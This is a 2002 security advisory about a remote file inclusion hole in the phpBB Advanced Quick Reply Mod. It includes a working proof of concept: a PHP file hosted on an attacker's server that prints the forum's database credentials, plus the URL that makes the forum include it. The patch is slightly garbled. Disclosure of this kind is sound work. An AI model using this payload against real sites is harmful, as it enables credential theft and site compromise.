[UNIX] Code Injection in phpBB Advanced Quick Reply Mod

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Date: 11/17/02

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      Code Injection in phpBB Advanced Quick Reply Mod
    ------------------------------------------------------------------------

    SUMMARY

    Hai Nam Luke has found a security hole in the
    <http://phpbbhacks.com/viewhack.php?id=586> phpBB Advanced Quick Reply Mod
    (Code Injection). Attackers can exploit this Mod to inject PHP code into
    an existing forum, effectively compromising the site's integrity.

    DETAILS

    Exploit:
    In the file quick_reply.php you will notice the following vulnerable code:

    if ( $mode == 'smilies' )
    {
    define('IN_PHPBB', true);
    include($phpbb_root_path . 'extension.inc');
    include($phpbb_root_path . 'common.'.$phpEx);
    include($phpbb_root_path . 'includes/functions_post.'.$phpEx);
    generate_smilies('window', PAGE_POSTING);
    exit;
    }

    If you create a file called 'extension.inc' and include in it for example:
    <?php
    include('config'.'.php');
    echo "DB Type: $dbms <br>";
    echo "DB Host: $dbhost <br>";
    echo "DB Name: $dbname <br>";
    echo "DB User: $dbuser <br>";
    echo "DB Pass: $dbpasswd <br>";
    exit;
    ?>

    Accessing the file by issuing the following URL:
    http://[phpBB_Forum]/quick_reply.php?phpbb_root_path=http://[Your
    Server]/&mode=smiles

    Will return the server's database username and password.

    Patch:
    Modify in quick_reply.php the following:
    [FIND]
    if ( $mode == 'smilies' )
    {</I<
    [ADD BEFORE]
    phpbb_root_path = "./";

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:hainamluke@hotmail.com> Hai
    Nam Luke.

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